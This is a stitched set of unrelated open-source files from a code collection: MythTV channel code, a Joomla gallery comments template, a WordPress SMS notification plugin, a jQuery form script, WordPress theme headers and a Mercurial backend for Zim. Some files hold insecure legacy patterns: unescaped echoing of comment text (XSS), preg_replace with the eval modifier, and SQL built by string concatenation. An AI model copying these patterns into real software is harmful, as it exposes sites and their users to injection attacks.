void DTVChannel::SaveCachedPids(int chanid, const pid_cache_t &pid_cache)
{
MSqlQuery query(MSqlQuery::InitCon());
/// delete
QString thequery =
QString("DELETE FROM pidcache WHERE chanid='%1'").arg(chanid);
query.prepare(thequery);
if (!query.exec() || !query.isActive())
{
MythContext::DBError("GetCachedPids -- delete", query);
return;
}
/// insert
pid_cache_t::const_iterator it = pid_cache.begin();
for (; it != pid_cache.end(); ++it)
{
thequery = QString("INSERT INTO pidcache "
"SET chanid='%1', pid='%2', tableid='%3'")
.arg(chanid).arg(it->first).arg(it->second);
query.prepare(thequery);
if (!query.exec() || !query.isActive())
{
MythContext::DBError("GetCachedPids -- insert", query);
return;
}
}
}
void DTVChannel::SetDTVInfo(uint atsc_major, uint atsc_minor,
uint dvb_orig_netid,
uint mpeg_tsid, int mpeg_pnum)
{
QMutexLocker locker(&dtvinfo_lock);
currentProgramNum = mpeg_pnum;
currentATSCMajorChannel = atsc_major;
currentATSCMinorChannel = atsc_minor;
currentTransportID = mpeg_tsid;
currentOriginalNetworkID = dvb_orig_netid;
}
QString DTVChannel::GetSIStandard(void) const
{
QMutexLocker locker(&dtvinfo_lock);
return QDeepCopy<QString>(sistandard);
}
void DTVChannel::SetSIStandard(const QString &si_std)
{
QMutexLocker locker(&dtvinfo_lock);
sistandard = QDeepCopy<QString>(si_std.lower());
}
QString DTVChannel::GetSuggestedTuningMode(bool is_live_tv) const
{
uint cardid = GetCardID();
QString input = GetCurrentInput();
uint quickTuning = 0;
if (cardid && !input.isEmpty())
quickTuning = CardUtil::GetQuickTuning(cardid, input);
bool useQuickTuning = (quickTuning && is_live_tv) || (quickTuning > 1);
QMutexLocker locker(&dtvinfo_lock);
if (!useQuickTuning && ((sistandard == "atsc") || (sistandard == "dvb")))
return QDeepCopy<QString>(sistandard);
return "mpeg";
}
QString DTVChannel::GetTuningMode(void) const
{
QMutexLocker locker(&dtvinfo_lock);
return QDeepCopy<QString>(tuningMode);
}
void DTVChannel::SetTuningMode(const QString &tuning_mode)
{
QMutexLocker locker(&dtvinfo_lock);
tuningMode = QDeepCopy<QString>(tuning_mode.lower());
}
DTVChannel *DTVChannel::GetMaster(const QString &videodevice)
{
QMutexLocker locker(&master_map_lock);
QMap<QString,DTVChannel*>::iterator it = master_map.find(videodevice);
if (it != master_map.end())
return *it;
master_map[QDeepCopy<QString>(videodevice)] = this;
return this;
}
const DTVChannel *DTVChannel::GetMaster(const QString &videodevice) const
{
QMutexLocker locker(&master_map_lock);
QMap<QString,DTVChannel*>::iterator it = master_map.find(videodevice);
if (it != master_map.end())
return *it;
master_map[QDeepCopy<QString>(videodevice)] = (DTVChannel*) this;
return this;
}
| gpl-2.0 |
kwirk/eventgallery | site/views/singleimage/tmpl/default_comments.php | 928 | <?php
/**
* @package Sven.Bluege
* @subpackage com_eventgallery
*
* @copyright Copyright (C) 2005 - 2013 Sven Bluege All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
// no direct access
defined('_JEXEC') or die('Restricted access');
?>
<?php if (count($this->model->comments) > 0 && $this->use_comments == 1) {
FOREACH ($this->model->comments as $comment): ?>
<div class="comment">
<div class="content">
<div class="from"><?php echo $comment->name ?> <?php echo JText::_(
'COM_EVENTGALLERY_SINGLEIMAGE_COMMENTS_WROTE'
) ?> <?php echo JHTML::date($comment->date) ?>:
</div>
<div class="text"><?php echo $comment->text ?></div>
</div>
</div>
<?php ENDFOREACH;
} ?>
<div style="clear:both;"></div> | gpl-2.0 |
ethymos/jaiminho-sms | includes/admin/wp-sms-notifications.php | 5141 | <?php
if ( ! defined( 'ABSPATH' ) ) exit;
// Wordpress new version
if(get_option('wp_notification_new_wp_version')) {
$update = get_site_transient('update_core');
$update = $update->updates;
if($update[1]->current > $wp_version) {
if(get_option('wp_last_send_notification') == false) {
$webservice = get_option('wp_webservice');
include_once dirname( __FILE__ ) . "/../classes/wp-sms.class.php";
include_once dirname( __FILE__ ) . "/../classes/webservice/{$webservice}.class.php";
$sms = new $webservice;
$sms->to = array(get_option('wp_admin_mobile'));
$sms->msg = sprintf(__('WordPress %s is available! Please update now', 'wp-sms'), $update[1]->current);
$sms->SendSMS();
update_option('wp_last_send_notification', true);
}
} else {
update_option('wp_last_send_notification', false);
}
}
// Register new user
function wps_notification_new_user($username_id) {
global $sms, $date;
$sms->to = array(get_option('wp_admin_mobile'));
$string = get_option('wpsms_nrnu_tt');
$username_info = get_userdata($username_id);
$template_vars = array(
'user_login' => $username_info->user_login,
'user_email' => $username_info->user_email,
'date_register' => $date,
);
$final_message = preg_replace('/%(.*?)%/ime', "\$template_vars['$1']", $string);
$sms->msg = $final_message;
$sms->SendSMS();
}
if(get_option('wpsms_nrnu_stats'))
add_action('user_register', 'wps_notification_new_user', 10, 1);
// New Comment
function wps_notification_new_comment($comment_id, $comment_smsect){
global $sms;
$sms->to = array(get_option('wp_admin_mobile'));
$string = get_option('wpsms_gnc_tt');
$template_vars = array(
'comment_author' => $comment_smsect->comment_author,
'comment_author_email' => $comment_smsect->comment_author_email,
'comment_author_url' => $comment_smsect->comment_author_url,
'comment_author_IP' => $comment_smsect->comment_author_IP,
'comment_date' => $comment_smsect->comment_date,
'comment_content' => $comment_smsect->comment_content
);
$final_message = preg_replace('/%(.*?)%/ime', "\$template_vars['$1']", $string);
$sms->msg = $final_message;
$sms->SendSMS();
}
if(get_option('wpsms_gnc_stats'))
add_action('wp_insert_comment', 'wps_notification_new_comment',99,2);
// User login
function wps_notification_login($username_login, $username){
global $sms;
$sms->to = array(get_option('wp_admin_mobile'));
$string = get_option('wpsms_ul_tt');
$template_vars = array(
'username_login' => $username->username_login,
'display_name' => $username->display_name
);
$final_message = preg_replace('/%(.*?)%/ime', "\$template_vars['$1']", $string);
$sms->msg = $final_message;
$sms->SendSMS();
}
if(get_option('wpsms_ul_stats'))
add_action('wp_login', 'wps_notification_login', 99, 2);
// Contact Form 7 Hooks
if( get_option('wps_add_wpcf7') ) {
add_action('wpcf7_admin_after_form', 'wps_setup_wpcf7_form');
add_action('wpcf7_after_save', 'wps_save_wpcf7_form');
add_action('wpcf7_before_send_mail', 'wps_send_wpcf7_sms');
}
function wps_setup_wpcf7_form($form) {
$options = get_option('wpcf7_sms_' . $form->id);
include_once dirname( __FILE__ ) . "/../templates/wp-sms-wpcf7-form.php";
}
function wps_save_wpcf7_form($form) {
update_option('wpcf7_sms_' . $form->id, $_POST['wpcf7-sms']);
}
function wps_send_wpcf7_sms($form) {
global $sms;
$options = get_option('wpcf7_sms_' . $form->id);
if( $options['message'] && $options['phone'] ) {
// Replace merged Contact Form 7 fields
if( defined( 'WPCF7_VERSION' ) && WPCF7_VERSION < 3.1 ) {
$regex = '/\[\s*([a-zA-Z_][0-9a-zA-Z:._-]*)\s*\]/';
} else {
$regex = '/(\[?)\[\s*([a-zA-Z_][0-9a-zA-Z:._-]*)\s*\](\]?)/';
}
$callback = array( &$form, 'mail_callback' );
$message = preg_replace_callback( $regex, $callback, $options['message'] );
$sms->to = array( $options['phone'] );
$sms->msg = $message;
$sms->SendSMS();
}
}
// Woocommerce Hooks
function wps_woocommerce_new_order($order_id){
global $sms;
$sms->to = array(get_option('wp_admin_mobile'));
$string = get_option('wpsms_wc_no_tt');
$template_vars = array(
'order_id' => $order_id,
);
$final_message = preg_replace('/%(.*?)%/ime', "\$template_vars['$1']", $string);
$sms->msg = $final_message;
$sms->SendSMS();
}
if(get_option('wpsms_wc_no_stats'))
add_action('woocommerce_new_order', 'wps_woocommerce_new_order');
// Easy Digital Downloads Hooks
function wps_edd_new_order() {
global $sms;
$sms->to = array(get_option('wp_admin_mobile'));
$sms->msg = get_option('wpsms_edd_no_tt');
$sms->SendSMS();
}
if(get_option('wpsms_edd_no_stats'))
add_action('edd_complete_purchase', 'wps_edd_new_order'); | gpl-2.0 |
trungjc/mariosarti | wp-content/themes/ego/z_admin/js/udff_fieldMonitor.js | 9014 | jQuery(document).ready(function(){
//FIELD monitor -----------------------------------------------------------------/
jQuery('.hideHelp').hide();
jQuery('div#content-wrapper .module-inputField:not(.colorpickerField)' ).dblclick(function(){
jQuery(this).select();
}).focus(function(){
var targetSettingItemMessage_hideHelp = jQuery(this).parent().parent().find('.hideHelp').html();
if(!targetSettingItemMessage_hideHelp) jQuery(this).parent().parent().find('.settingItemMessage').css('display','block');
jQuery(this).parent().parent().find('.settingItemMessage').html(jQuery(this).parent().parent().find('.settingItemMessage_helptext').html());
}).blur(function(){
var currentVal = jQuery(this).val();
var targetSaveButton = jQuery(this).parent().find('input[id^="settingItem_save_"]');
var targetRevertButton = jQuery(this).parent().find('input[id^="settingItem_revert_"]');
var targetSettingItemMessage = jQuery(this).parent().parent().find('.settingItemMessage');
var targetSettingItemMessage_showHelpAlways = jQuery(this).parent().parent().find('.showHelpAlways').html();
if(currentVal != this.defaultValue) {
targetSaveButton.removeClass('saveDisabled');
targetSaveButton.removeClass('revertDisabled');
}
if(jQuery(this).hasClass('input_email')) {
if(verifyInputTextField ('email', currentVal, targetSettingItemMessage, targetSaveButton)) {
defaultValueCheck (this, targetSaveButton, currentVal);
if(!targetSettingItemMessage_showHelpAlways) targetSettingItemMessage.css('display','none');
}
} else if (jQuery(this).hasClass('input_url')) {
if(verifyInputTextField ('url', currentVal, targetSettingItemMessage, targetSaveButton)) {
defaultValueCheck (this, targetSaveButton, currentVal);
if(!targetSettingItemMessage_showHelpAlways) targetSettingItemMessage.css('display','none');
}
var regExp_here = /^(http|https|ftp)/;
if(!currentVal.match(regExp_here)) {
jQuery(this).val('http://'+currentVal);
}
} else if (jQuery(this).hasClass('input_number')) {
if(verifyInputTextField ('number', currentVal, targetSettingItemMessage, targetSaveButton)) {
defaultValueCheck (this, targetSaveButton, currentVal);
if(!targetSettingItemMessage_showHelpAlways) targetSettingItemMessage.css('display','none');
}
} else {
if(!targetSettingItemMessage_showHelpAlways) targetSettingItemMessage.css('display','none');
}
});
jQuery('div#content-wrapper textarea.module-txtArea' ).click(function(){
//
}).focus(function(){
var targetSettingItemMessage_hideHelp = jQuery(this).parent().parent().find('.hideHelp').html();
if(!targetSettingItemMessage_hideHelp) jQuery(this).parent().parent().find('.settingItemMessage').css('display','block');
}).blur(function(){
var initVal = jQuery(this).val();
if(initVal != this.defaultValue) {
var targetSave = jQuery(this).parent().children('.saveDisabled');
var targetRevertButton = jQuery(this).parent().children('.revertDisabled');
jQuery(targetSave).removeClass('saveDisabled');
jQuery(targetRevertButton).removeClass('revertDisabled');
}
var targetSettingItemMessage_showHelpAlways = jQuery(this).parent().parent().find('.showHelpAlways').html();
if(!targetSettingItemMessage_showHelpAlways) {
jQuery(this).parent().parent().find('.settingItemMessage').css('display','none');
}
});
jQuery('div#fp-wrapper form select' ).change(function(){
var currentVal = jQuery(this).val();
var targetField = jQuery(this).parent().children('input:hidden.select_initValue');
var initValue = targetField.val();
var targetSaveButton = jQuery(this).parent().find('input[id^="settingItem_save_"]');
var targetRevertButton = jQuery(this).parent().find('input[id^="settingItem_revert_"]');
if(!initValue) {
targetSaveButton.removeClass('saveDisabled');
} else if(currentVal != initValue) {
targetSaveButton.removeClass('saveDisabled');
targetRevertButton.removeClass('revertDisabled');
} else {
targetSaveButton.addClass('saveDisabled');
targetRevertButton.addClass('revertDisabled');
}
}).focus(function(){
var targetSettingItemMessage_hideHelp = jQuery(this).parent().parent().find('.hideHelp').html();
if(!targetSettingItemMessage_hideHelp) {
jQuery(this).parent().parent().find('.settingItemMessage').css('display','block');
}
}).blur(function(){
var targetSettingItemMessage_hideHelp = jQuery(this).parent().parent().find('.hideHelp').html();
var targetSettingItemMessage_showHelpAlways = jQuery(this).parent().parent().find('.showHelpAlways').html();
if(!targetSettingItemMessage_hideHelp && !targetSettingItemMessage_showHelpAlways) {
jQuery(this).parent().parent().find('.settingItemMessage').css('display','none');
}
});
jQuery('div#content-wrapper .module-inputField:not(.colorpickerField)' ).keyup ( function (e) {
var currentVal = jQuery(this).val();
var targetSaveButton = jQuery(this).parent().find('input[id^="settingItem_save_"]');
var targetSettingItemMessage = jQuery(this).parent().parent().find('.settingItemMessage');
if(jQuery(this).hasClass('input_email')) {
if(verifyInputTextField ('email', currentVal, targetSettingItemMessage, targetSaveButton)) defaultValueCheck (this, targetSaveButton, currentVal);
} else if (jQuery(this).hasClass('input_url')) {
if(verifyInputTextField ('url', currentVal, targetSettingItemMessage, targetSaveButton)) defaultValueCheck (this, targetSaveButton, currentVal);
} else if (jQuery(this).hasClass('input_number')) {
if(verifyInputTextField ('number', currentVal, targetSettingItemMessage, targetSaveButton)) defaultValueCheck (this, targetSaveButton, currentVal);
} else {
defaultValueCheck (this, targetSaveButton, currentVal);
}
if (e.which == 13) {
if (jQuery(this).hasClass('input_url')) {
var regExp_here = /^(http|https|ftp)/;
if(!currentVal.match(regExp_here)) jQuery(this).val('http://'+currentVal);
}
jQuery(this).blur();
}
});
jQuery('div#content-wrapper .module-txtArea' ).keyup ( function (e) {
var initVal = jQuery(this).val();
var targetRevertButton = jQuery(this).parent().find('input[id^="settingItem_revert_"]');
var targetSaveButton = jQuery(this).parent().find('input[id^="settingItem_save_"]');
if(initVal != this.defaultValue) {
jQuery(targetSaveButton).removeClass('saveDisabled');
jQuery(targetRevertButton).removeClass('revertDisabled');
} else {
jQuery(targetSaveButton).addClass('saveDisabled');
jQuery(targetRevertButton).addClass('revertDisabled');
}
});
function defaultValueCheck (that, targetSaveButton, currentVal){
var targetRevertButton = jQuery(targetSaveButton).parent().find('input[id^="settingItem_revert_"]');
if(currentVal != that.defaultValue) {
jQuery(targetSaveButton).removeClass('saveDisabled');
jQuery(targetRevertButton).removeClass('revertDisabled');
} else {
jQuery(targetSaveButton).addClass('saveDisabled');
jQuery(targetRevertButton).addClass('revertDisabled');
}
}
function verifyInputTextField (fieldType, checkString, targetSettingItemMessage, targetSaveButton) {
var regExp_string;
var thisMessage = '';
var thisErrorMessage = '';
var targetRevertButton = jQuery(targetSaveButton).parent().find('input[id^="settingItem_revert_"]');
switch (fieldType) {
case 'email':
regExp_string = /\w+([-+.']\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*/;
thisErrorMessage = 'Please verify the email address format.';
break;
case 'number':
regExp_string = /^[0-9][0-9]*$/;
thisErrorMessage = 'The input field accepts only numbers.'
break;
case 'url':
regExp_string = /(http(s)?:\/\/)?([\w-]+\.)+[\w-]+(\/[\w-.\/?%&=]*)?/;
thisErrorMessage = 'Please verify the url address format.';
break;
}
var checkResult = false;
if(checkString!=""){
if(checkString.match(regExp_string)){
checkResult = true;
thisMessage = jQuery(targetSaveButton).parent().parent().find('span.tooltip').html();
}else{
checkResult = false;
thisMessage = thisErrorMessage;
}
} else {
checkResult = false;
thisMessage = 'The input field is blank.'
jQuery(targetRevertButton).removeClass('revertDisabled');
}
var targetSettingItemMessage_hideHelp = targetSettingItemMessage.hasClass('hideHelp');
if(checkResult) {
targetSettingItemMessage.html(thisMessage).removeClass('settingItemErrorMessage');
jQuery(targetSaveButton).removeClass('saveDisabled');
targetSettingItemMessage.html(targetSettingItemMessage.parent().find('.settingItemMessage_helptext').html());
if(targetSettingItemMessage_hideHelp) targetSettingItemMessage.css('display','none');
} else {
targetSettingItemMessage.css('display','block');
targetSettingItemMessage.addClass('settingItemErrorMessage');
targetSettingItemMessage.text(thisMessage);
jQuery(targetSaveButton).addClass('saveDisabled');
}
return checkResult;
}
});
| gpl-2.0 |
MESH-Dev/Enclave-Capital | wp-content/themes/mesh/header.php | 6079 | <!DOCTYPE html>
<!--[if lt IE 7 ]><html class="ie ie6" lang="en"> <![endif]-->
<!--[if IE 7 ]><html class="ie ie7" lang="en"> <![endif]-->
<!--[if IE 8 ]><html class="ie ie8" lang="en"> <![endif]-->
<!--[if (gte IE 9)|!(IE)]><!--><html lang="en"> <!--<![endif]-->
<?php
if( is_page_template('templates/homepage-fullscreen.php') ) {
$imageArray = get_field('background_image');
$imageURL = $imageArray['sizes']['background-fullscreen'];
}
?>
<html<?php if( is_page_template('templates/homepage-fullscreen.php') ) { ?> style="background: url('<?php echo $imageURL; ?>') no-repeat center center fixed;" class="background-fullscreen" <?php } ?>>
<head>
<meta charset="utf-8">
<title><?php bloginfo('name'); ?></title>
<!-- Meta / og: tags -->
<!-- <meta name="description" content=""> -->
<meta name="author" content="">
<!-- Mobile Specific Metas
================================================== -->
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<!-- Facebook stuff, if needed
================================================== -->
<!-- <meta property="og:image" content="<?php //echo get_template_directory_uri(); ?>/img/ec-fb_logomark.jpg" />
<meta property="og:image:type" content="image/jpg" />
<meta property="og:image:width" content="500" />
<meta property="og:image:height" content="500" /> -->
<!-- CSS (* with Edge Inspect Fix)
================================================== -->
<link rel="stylesheet" type="text/css" media="all" href="<?php bloginfo( 'stylesheet_url' ); ?>" />
<!-- <link rel="stylesheet" type="text/css" href="//cloud.typography.com/7669312/7346752/css/fonts.css" /> -->
<!--Font script
================================================== -->
<script src="https://use.typekit.net/zps2gqv.js"></script>
<script>try{Typekit.load({ async: true });}catch(e){}</script>
<!--Favicon
================================================== -->
<link rel="apple-touch-icon" sizes="57x57" href="/apple-icon-57x57.png">
<link rel="apple-touch-icon" sizes="60x60" href="/apple-icon-60x60.png">
<link rel="apple-touch-icon" sizes="72x72" href="/apple-icon-72x72.png">
<link rel="apple-touch-icon" sizes="76x76" href="/apple-icon-76x76.png">
<link rel="apple-touch-icon" sizes="114x114" href="/apple-icon-114x114.png">
<link rel="apple-touch-icon" sizes="120x120" href="/apple-icon-120x120.png">
<link rel="apple-touch-icon" sizes="144x144" href="/apple-icon-144x144.png">
<link rel="apple-touch-icon" sizes="152x152" href="/apple-icon-152x152.png">
<link rel="apple-touch-icon" sizes="180x180" href="/apple-icon-180x180.png">
<link rel="icon" type="image/png" sizes="192x192" href="/android-icon-192x192.png">
<link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
<link rel="icon" type="image/png" sizes="96x96" href="/favicon-96x96.png">
<link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
<link rel="manifest" href="/manifest.json">
<meta name="msapplication-TileColor" content="#ffffff">
<meta name="msapplication-TileImage" content="/ms-icon-144x144.png">
<meta name="theme-color" content="#ffffff">
<?php wp_head(); ?>
</head>
<body <?php body_class(); ?>>
<div id="page" class='hfeed site <?php if( is_page_template('templates/homepage-fullscreen.php') && is_front_page() ) { echo "content-fullscreen"; } ?>'>
<header>
<div class="container">
<div class="twelve columns">
<div class="logo">
<a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home" aria-label="Retun to Enclave Capital Home">
<img src="<?php echo get_template_directory_uri('/')?>/img/ec_logo.png" alt="Enclave Capital logo">
</a>
</div>
<nav class="main-navigation">
<div class="sidr-close desktop-hide">
Close X
</div>
<?php if(is_front_page()){
if(has_nav_menu('main_nav')){
$defaults = array(
'theme_location' => 'main_nav',
'menu' => 'main_nav',
'container' => false,
'container_class' => '',
'container_id' => '',
'menu_class' => 'menu',
'menu_id' => '',
'echo' => true,
'fallback_cb' => 'wp_page_menu',
'before' => '',
'after' => '',
'link_before' => '',
'link_after' => '',
'items_wrap' => '<ul id="%1$s" class="%2$s">%3$s</ul>',
'depth' => 0,
'walker' => ''
); wp_nav_menu( $defaults );
}else{
echo "<p><em>main_nav</em> doesn't exist! Create it and it'll render here.</p>";
}
}elseif (has_nav_menu('inner_nav')){
$defaults = array(
'theme_location' => 'inner_nav',
'menu' => 'main_nav',
'container' => false,
'container_class' => '',
'container_id' => '',
'menu_class' => 'menu',
'menu_id' => 'internal',
'echo' => true,
'fallback_cb' => 'wp_page_menu',
'before' => '',
'after' => '',
'link_before' => '',
'link_after' => '',
'items_wrap' => '<ul id="%1$s" class="%2$s">%3$s</ul>',
'depth' => 0,
'walker' => ''
); wp_nav_menu( $defaults );
}?>
</nav>
</div>
</div>
</header>
<div class="mobile-nav-trigger desktop-hide" aria-label="Open navigation">
<a class="sidr-trigger" href="#" rel="home" aria-label="Retun to Enclave Capital Home">
<img alt="Open menu" src="<?php echo get_template_directory_uri('/')?>/img/navicon.png">
</a>
</div>
<div class="logo desktop-hide">
<a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home" aria-label="Retun to Enclave Capital Home">
<img alt="Enclave Capital logo" src="<?php echo get_template_directory_uri('/')?>/img/ec_color_logo.png">
</a>
</div>
| gpl-2.0 |
Osndok/zim-desktop-wiki | zim/plugins/versioncontrol/hg.py | 5701 | # -*- coding: utf-8 -*-
# Copyright 2009-2012 Jaap Karssenberg <[email protected]>
# Copyright 2012 Damien Accorsi <[email protected]>
from __future__ import with_statement
import os
import logging
import xml.etree.ElementTree # needed to compile with cElementTree
import xml.etree.cElementTree as ET
from zim.plugins.versioncontrol import VCSApplicationBase
from zim.applications import Application
logger = logging.getLogger('zim.vcs.hg')
class HGApplicationBackend(VCSApplicationBase):
@classmethod
def build_bin_application_instance(cls):
return Application(('hg', '--noninteractive', '--encoding', 'utf8'), encoding='utf-8')
# force hg to run in non-interactive mode
# which will force user name to be auto-setup
def get_mandatory_params(self):
return ['--noninteractive'] # force hg to run in non-interactive mode
# which will force user name to be auto-setup
def build_revision_arguments(self, versions):
"""Build a list including required string/int for running an VCS command
# Accepts: None, int, string, (int,), (int, int)
# Always returns a list
# versions content:
- None: return an empty list
- int ou string: return ['-r', int]
- tuple or list: return ['-r', '%i..%i']
It's all based on the fact that defining revision with current VCS is:
-r revision
-r rev1..rev2
"""
if isinstance(versions, (tuple, list)):
assert 1 <= len(versions) <= 2
if len(versions) == 2:
versions = sorted(map(int, versions))
return ['-r', '%i..%i' % tuple(versions)]
else:
versions = versions[0]
if not versions is None:
version = int(versions)
return ['-r', '%i' % version]
else:
return []
########
#
# NOW ARE ALL REVISION CONTROL SYSTEM SHORTCUTS
def add(self, path=None):
"""
Runs: hg add {{PATH}}
"""
if path is None:
return self.run(['add', self.notebook_dir])
else:
return self.run(['add', path])
def annotate(self, file, version):
"""FIXME Document
return
0: line1
2: line1
...
"""
revision_args = self.build_revision_arguments(version)
return self.pipe(['annotate', file] + revision_args)
def cat(self, path, version):
"""
Runs: hg cat {{PATH}} {{REV_ARGS}}
"""
revision_args = self.build_revision_arguments(version)
return self.pipe(['cat', path] + revision_args)
def commit(self, path, msg):
"""
Runs: hg commit -m {{MSG}} {{PATH}}
"""
params = ['commit']
if msg != '' and msg is not None:
params.append('-m')
params.append(msg)
if path != '' and path is not None:
params.append(path)
return self.run(params)
def diff(self, versions, path=None):
"""
Runs:
hg diff --git {{REVISION_ARGS}}
or
hg diff --git {{REVISION_ARGS}} {{PATH}}
"""
revision_args = self.build_revision_arguments(versions)
if path is None:
return self.pipe(['diff', '--git'] + revision_args)
# Using --git option allow to show the renaming of files
else:
return self.pipe(['diff', '--git', path] + revision_args)
def ignore(self, file_to_ignore_regexp):
"""
Build a .hgignore file including the file_to_ignore_content
@param file_to_ignore_regexp: str representing the .hgignore file content.
this must be a list of regexp defining the file / path to ignore,
separated by a\n char
@returns: nothing
"""
#TODO: append the rule instead of overwrite the full content
self.root.file('.hgignore').write(file_to_ignore_regexp)
def init_repo(self):
"""Initialize a new repo
The init operation consists in:
- running the VCS init command
- defining files to ignore
- adding all other existing files
@returns: nothing
"""
self.init()
self.ignore('\.zim*$\n')
self.add('.') # add all existing files
def repo_exists(self):
"""Returns True if a repository is already setup, or False
@returns: a boolean True if a repo is already setup, or False
"""
return self.root.subdir('.hg').exists()
def init(self):
"""
Runs: hg init
"""
return self.run(['init'])
def is_modified(self):
"""Returns true if the repo is not up-to-date, or False
@returns: True if the repo is not up-to-date, or False
"""
# If status return an empty answer, this means the local repo is up-to-date
return ''.join(self.status()).strip() != ''
def log(self, path=None):
"""
Runs: hg log --style xml {{PATH}}
"""
if path:
return self.pipe(['log', '--style', 'xml', path])
else:
return self.pipe(['log', '--style', 'xml'])
def log_to_revision_list(self, log_op_output):
# returns a list of tuple (revision-id, date, user, commit-message)
versions = []
xml = ET.fromstring(''.join(log_op_output))
if not (xml and xml.tag == 'log'):
raise AssertionError('Could not parse log')
for entry in xml:
rev = entry.attrib['revision']
date = entry.findtext('date')
user = entry.findtext('author')
msg = entry.findtext('msg')
versions.append((rev, date, user, msg))
versions.sort()
return versions
def move(self, oldpath, newpath):
"""
Runs: hg mv --after {{OLDPATH}} {{NEWPATH}}
"""
return self.run(['mv', '--after', oldpath, newpath])
def remove(self, path):
"""
Runs: hg rm {{PATH}}
"""
return self.run(['rm', '-A', path])
def revert(self, path, version):
"""
Runs:
hg revert --no-backup {{PATH}} {{REV_ARGS}}
or
hg revert --no-backup --all {{REV_ARGS}}
"""
revision_params = self.build_revision_arguments(version)
if path:
return self.run(['revert', '--no-backup', path] + revision_params)
else:
return self.run(['revert', '--no-backup', '--all'] + revision_params)
def status(self):
"""
Runs: hg status
"""
return self.pipe(['status'])
| gpl-2.0 |
deemac504/Suade | wp-content/themes/whitelight/header.php | 5095 | <?php
/**
* Header Template
*
* Here we setup all logic and XHTML that is required for the header section of all screens.
*
* @package WooFramework
* @subpackage Template
*/
global $woo_options;
?><!DOCTYPE html>
<html <?php language_attributes(); ?>>
<head>
<meta charset="<?php bloginfo( 'charset' ); ?>" />
<title><?php woo_title(); ?></title>
<?php woo_meta(); ?>
<link rel="stylesheet" type="text/css" href="<?php bloginfo( 'stylesheet_url' ); ?>" media="screen" />
<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>" />
<?php
wp_head();
woo_head();
?>
</head>
<body <?php body_class(); ?>>
<?php woo_top(); ?>
<?php if ( function_exists( 'has_nav_menu' ) && has_nav_menu( 'top-menu' ) && is_page( array () ) ) { ?>
<div id="top">
<nav class="container" role="navigation">
<?php wp_nav_menu( array( 'depth' => 6, 'sort_column' => 'menu_order', 'container' => 'ul', 'menu_id' => 'top-nav', 'menu_class' => 'nav fl', 'theme_location' => 'top-menu' ) ); ?>
</nav>
</div><!-- /#top -->
<?php } ?>
<?php if ( is_page ( 11 ) && have_posts() ) { ?>
<div id="top">
<div class="container">
<?php get_template_part( 'loop', 'portfolio' ); ?>
</div>
</div>
<?php } ?>
<?php if ( is_post_type_archive ( 'portfolio' ) && have_posts() ) { ?>
<div id="top">
<div class="container">
<?php get_template_part( 'loop', 'portfolio' ); ?>
</div>
</div>
<?php } ?>
<header class="navbar navbar-fixed-top">
<div class="navbar-inner">
<div class="container">
<?php
$logo = get_template_directory_uri() . '/images/logo.png';
if ( isset( $woo_options['woo_logo'] ) && $woo_options['woo_logo'] != '' ) { $logo = $woo_options['woo_logo']; }
?>
<?php if ( ! isset( $woo_options['woo_texttitle'] ) || $woo_options['woo_texttitle'] != 'true' ) { ?>
<a class="brand" href="<?php bloginfo( 'url' ); ?>" title="<?php bloginfo( 'description' ); ?>">
<img src="<?php echo $logo; ?>" alt="<?php bloginfo( 'name' ); ?>" />
</a>
<?php } ?>
<hgroup>
<h1 class="site-title"><a href="<?php bloginfo( 'url' ); ?>"><?php bloginfo( 'name' ); ?></a></h1>
<h2 class="site-description"><?php bloginfo( 'description' ); ?></h2>
<h3 class="nav-toggle"><a href="#navigation"><?php _e('Navigation', 'woothemes'); ?></a></h3>
</hgroup>
<?php if ( isset( $woo_options['woo_ad_top'] ) && $woo_options['woo_ad_top'] == 'true' ) { ?>
<div id="topad">
<?php
if ( isset( $woo_options['woo_ad_top_adsense'] ) && $woo_options['woo_ad_top_adsense'] != '' ) {
echo stripslashes( $woo_options['woo_ad_top_adsense'] );
} else {
if ( isset( $woo_options['woo_ad_top_url'] ) && isset( $woo_options['woo_ad_top_image'] ) )
?>
<a href="<?php echo $woo_options['woo_ad_top_url']; ?>"><img src="<?php echo $woo_options['woo_ad_top_image']; ?>" width="468" height="60" alt="advert" /></a>
<?php } ?>
</div><!-- /#topad -->
<?php } ?>
<nav id="navigation" role="navigation">
<?php
if ( function_exists( 'has_nav_menu' ) && has_nav_menu( 'primary-menu' ) ) {
wp_nav_menu( array( 'depth' => 6, 'sort_column' => 'menu_order', 'container' => 'ul', 'menu_id' => 'main-nav', 'menu_class' => 'nav fl', 'theme_location' => 'primary-menu' ) );
} else {
?>
<ul id="main-nav" class="nav fl">
<?php if ( is_page() ) $highlight = 'page_item'; else $highlight = 'page_item current_page_item'; ?>
<li class="<?php echo $highlight; ?>"><a href="<?php echo home_url( '/' ); ?>"><?php _e( 'Home', 'woothemes' ); ?></a></li>
<?php wp_list_pages( 'sort_column=menu_order&depth=6&title_li=&exclude=' ); ?>
</ul><!-- /#nav -->
<?php } ?>
</nav><!-- /#navigation -->
<?php if ( isset( $woo_options['woo_header_search'] ) && $woo_options['woo_header_search'] == 'true' ) { ?>
<div class="search_main fix">
<form method="get" class="searchform" action="<?php echo home_url( '/' ); ?>" >
<input type="text" class="field s" name="s" value="<?php esc_attr_e( 'Search…', 'woothemes' ); ?>" onfocus="if ( this.value == '<?php esc_attr_e( 'Search…', 'woothemes' ); ?>' ) { this.value = ''; }" onblur="if ( this.value == '' ) { this.value = '<?php esc_attr_e( 'Search…', 'woothemes' ); ?>'; }" />
<input type="image" src="<?php echo get_template_directory_uri(); ?>/images/ico-search.png" class="search-submit" name="submit" alt="Submit" />
</form>
</div><!--/.search_main-->
<?php } ?>
</div><!-- /.col-full -->
</div><!-- /.container -->
</header><!-- /#header -->
<?php if ( !is_home() ) { ?>
<div id="banner">
<div class="page container">
<img src="<?php the_field('banner'); ?>" alt="" />
</div>
</div>
<?php } ?>
<?php
// Featured Slider
if ( ( is_home() || is_front_page() ) && !$paged && isset( $woo_options['woo_featured'] ) && $woo_options['woo_featured'] == 'true' )
get_template_part ( 'includes/featured' );
?> | gpl-2.0 |
